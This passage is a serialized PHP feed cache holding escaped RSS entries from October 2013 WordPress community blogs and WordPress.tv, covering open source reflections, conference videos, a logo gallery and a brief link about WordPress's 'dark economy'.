Source\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10762\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:104:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/7yoq6FKFs80/what-wordpress-taught-me-about-open-source\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:2554:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2009/02/wordpresslogo.png\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img class=\&quot;alignright size-thumbnail wp-image-422\&quot; alt=\&quot;WordPress Logo\&quot; src=\&quot;http://i1.wp.com/www.wptavern.com/wp-content/uploads/2009/02/wordpresslogo.png?resize=150%2C150\&quot; /&gt;&lt;/a&gt;Fifteen years ago, I was living life as a teenager. I didn&amp;#8217;t play sports in high school nor did the typical things high school kids do. Instead, I was a computer junky or a nerd as some people called me. I had my very own computer handed down to me from my dad. An AMD K6-2 350MHz Processor with 128 megs of ram. Terrible compared to the Pentium 2 that was in the Gateway box, but I digress. &lt;span id=\&quot;more-10762\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;I didn&amp;#8217;t know very much about open source software back then. To me, open source software meant that it was vastly inferior to whatever paid software was available to accomplish a task. This was also known as crapware. I also understood open source to mean free. Free as in beer. Instead of using open source software, I routinely found myself paying chunks of money for software that had a dedicated development team and was usually easier to install and use. Open source software usually came packaged in &lt;a title=\&quot;http://en.wikipedia.org/wiki/Tarball\&quot; href=\&quot;http://en.wikipedia.org/wiki/Tarball\&quot;&gt;Tarballs&lt;/a&gt; with complicated instructions on how to install it.&lt;/p&gt;\n&lt;p&gt;It wasn&amp;#8217;t until a few years later when I discovered Joomla and then WordPress when I started to understand what open source was really all about. WordPress taught me the following things.&lt;/p&gt;\n&lt;ul&gt;\n&lt;li&gt;Open source software doesn&amp;#8217;t have to be free of charge&lt;/li&gt;\n&lt;li&gt;Licenses are the foundations in which code is built and distributed&lt;/li&gt;\n&lt;li&gt;Passionate people will volunteer their days and nights to squash bugs so the project gets better&lt;/li&gt;\n&lt;li&gt;Open source is a global initiative&lt;/li&gt;\n&lt;li&gt;People can make an incredible living around open source software&lt;/li&gt;\n&lt;li&gt;When things are going right, the sense of community is overwhelmingly awesome&lt;/li&gt;\n&lt;li&gt;Improving the project is a goal most people can get behind&lt;/li&gt;\n&lt;li&gt;Open source provides opportunities that otherwise might not have existed&lt;/li&gt;\n&lt;/ul&gt;\n&lt;p&gt;Everything I know about the open source topic is based on my experience with using WordPress and participating in the WordPress community. I&amp;#8217;d love to hear from others who grew up learning about open source the same way I did.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/7yoq6FKFs80\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 16:54:31 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:17;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:72:\&quot;WordPress.tv: Panel Discussion: Running A WordPress Development Business\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24570\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:89:\&quot;http://wordpress.tv/2013/10/31/panel-discussion-running-a-wordpress-development-business/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:693:\&quot;&lt;div id=\&quot;v-0O3GLBRI-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24570/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24570/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24570&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/31/panel-discussion-running-a-wordpress-development-business/\&quot;&gt;&lt;img alt=\&quot;Panel Discussion: Running A WordPress Development Business\&quot; src=\&quot;http://videos.videopress.com/0O3GLBRI/video-083e83087b_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 10:05:35 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:18;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:59:\&quot;WordPress.tv: Ross Jones: The Best SEO Plugin For WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24555\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:76:\&quot;http://wordpress.tv/2013/10/31/ross-jones-the-best-seo-plugin-for-wordpress/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:667:\&quot;&lt;div id=\&quot;v-aBTz384o-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24555/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24555/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24555&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/31/ross-jones-the-best-seo-plugin-for-wordpress/\&quot;&gt;&lt;img alt=\&quot;Ross Jones: The Best SEO Plugin For WordPress\&quot; src=\&quot;http://videos.videopress.com/aBTz384o/video-18ad5b45a4_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Thu, 31 Oct 2013 10:04:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:19;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:78:\&quot;WordPress.tv: Todd O’Neill: What’s Content Strategy and Why Should I Care?\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:28:\&quot;http://wordpress.tv/?p=24427\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:88:\&quot;http://wordpress.tv/2013/10/30/todd-oneill-whats-content-strategy-and-why-should-i-care/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:702:\&quot;&lt;div id=\&quot;v-txJwUhUj-1\&quot; class=\&quot;video-player\&quot;&gt;\n&lt;/div&gt;&lt;br /&gt;  &lt;a rel=\&quot;nofollow\&quot; href=\&quot;http://feeds.wordpress.com/1.0/gocomments/wptv.wordpress.com/24427/\&quot;&gt;&lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://feeds.wordpress.com/1.0/comments/wptv.wordpress.com/24427/\&quot; /&gt;&lt;/a&gt; &lt;img alt=\&quot;\&quot; border=\&quot;0\&quot; src=\&quot;http://stats.wordpress.com/b.gif?host=wordpress.tv&amp;blog=5089392&amp;post=24427&amp;subd=wptv&amp;ref=&amp;feed=1\&quot; width=\&quot;1\&quot; height=\&quot;1\&quot; /&gt;&lt;div&gt;&lt;a href=\&quot;http://wordpress.tv/2013/10/30/todd-oneill-whats-content-strategy-and-why-should-i-care/\&quot;&gt;&lt;img alt=\&quot;Todd O&amp;#8217;Neill: What’s Content Strategy and Why Should I Care?\&quot; src=\&quot;http://videos.videopress.com/txJwUhUj/video-e5bb917263_std.original.jpg\&quot; width=\&quot;160\&quot; height=\&quot;120\&quot; /&gt;&lt;/a&gt;&lt;/div&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 19:25:13 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:12:\&quot;WordPress.tv\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:20;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:49:\&quot;WPTavern: Huge Collection Of WordPress Site Logos\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10740\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:101:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/eplmPDEcBQc/huge-collection-of-wordpress-site-logos\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:948:\&quot;&lt;p&gt;WPTavern was founded in 2008 and since that time, we&amp;#8217;ve published close to 1,500 articles discussing all things WordPress. I&amp;#8217;ve made it a habit to use the logo of any site I link to, as the first image presented in the article. After five years, the WPTavern media library is filled with WordPress centric images captured mostly with SnagIt, my favorite screen capturing software. I thought it would be fun if I put together a gallery showing all of the WordPress logo images housed within the Tavern media library.&lt;span id=\&quot;more-10740\&quot;&gt;&lt;/span&gt;&lt;/p&gt;\n&lt;p&gt;There are around 265 images in this slide show. The images are arranged newest to oldest. As you browse through them, you&amp;#8217;re going back in time. &lt;/p&gt;\n&lt;a href=\&quot;http://www.wptavern.com/huge-collection-of-wordpress-site-logos#gallery-10740-1-slideshow\&quot;&gt;Click to view slideshow.&lt;/a&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/eplmPDEcBQc\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 19:20:13 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:21;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:35:\&quot;WPTavern: The Darkside Of WordPress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10730\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:87:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/x-7qxTGpS4g/the-darkside-of-wordpress\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:799:\&quot;&lt;p&gt;&lt;a href=\&quot;http://i2.wp.com/www.wptavern.com/wp-content/uploads/2013/10/wpliftlogo.jpg\&quot; rel=\&quot;thumbnail\&quot;&gt;&lt;img src=\&quot;http://i0.wp.com/www.wptavern.com/wp-content/uploads/2013/10/wpliftlogo.jpg?resize=131%2C58\&quot; alt=\&quot;WPLift.com Logo\&quot; class=\&quot;alignright size-full wp-image-10731\&quot; /&gt;&lt;/a&gt;WPLift.com has published a cool post that looks into the &lt;a href=\&quot;http://wplift.com/wordpress-dark-economy\&quot; title=\&quot;http://wplift.com/wordpress-dark-economy\&quot;&gt;dark economy&lt;/a&gt; surrounding WordPress. That is, those who use WordPress in nefarious ways for profit. Examples include spammers, those who buy automated blog comments, hackers, and the unethical practice of reselling GPL products using trademarks and branding.&lt;/p&gt;\n&lt;img src=\&quot;http://feeds.feedburner.com/~r/WordpressTavern/~4/x-7qxTGpS4g\&quot; height=\&quot;1\&quot; width=\&quot;1\&quot; /&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 18:42:06 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:6:\&quot;Jeffro\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:22;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;Matt: Support is Sexy\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:21:\&quot;http://ma.tt/?p=43148\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:37:\&quot;http://ma.tt/2013/10/support-is-sexy/\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:11:\&quot;description\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:204:\&quot;&lt;p&gt;Alx Block writes about &lt;a href=\&quot;http://alxblock.com/2013/10/support-sexy/\&quot; title=\&quot;Support is Sexy\&quot;&gt;his evolving understanding of the role of support, and the &amp;#8220;support&amp;#8221; label itself&lt;/a&gt;.&lt;/p&gt;\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:7:\&quot;pubDate\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:31:\&quot;Wed, 30 Oct 2013 18:34:33 +0000\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}s:32:\&quot;http://purl.org/dc/elements/1.1/\&quot;;a:1:{s:7:\&quot;creator\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:14:\&quot;Matt Mullenweg\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}}}}i:23;a:6:{s:4:\&quot;data\&quot;;s:13:\&quot;\n	\n	\n	\n	\n	\n	\n\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;s:5:\&quot;child\&quot;;a:2:{s:0:\&quot;\&quot;;a:5:{s:5:\&quot;title\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:68:\&quot;WPTavern: WordPress.com Moves Up to #7 Ranked Website for US Traffic\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;guid\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:32:\&quot;http://www.wptavern.com/?p=10706\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;xml_base_explicit\&quot;;b:0;s:8:\&quot;xml_lang\&quot;;s:0:\&quot;\&quot;;}}s:4:\&quot;link\&quot;;a:1:{i:0;a:5:{s:4:\&quot;data\&quot;;s:119:\&quot;http://feedproxy.google.com/~r/WordpressTavern/~3/niOVq3HDB1c/wordpress-com-moves-up-to-7-ranked-website-for-us-traffic\&quot;;s:7:\&quot;attribs\&quot;;a:0:{}s:8:\&quot;xml_base\&quot;;s:0:\&quot;\&quot;;s:17:\&quot;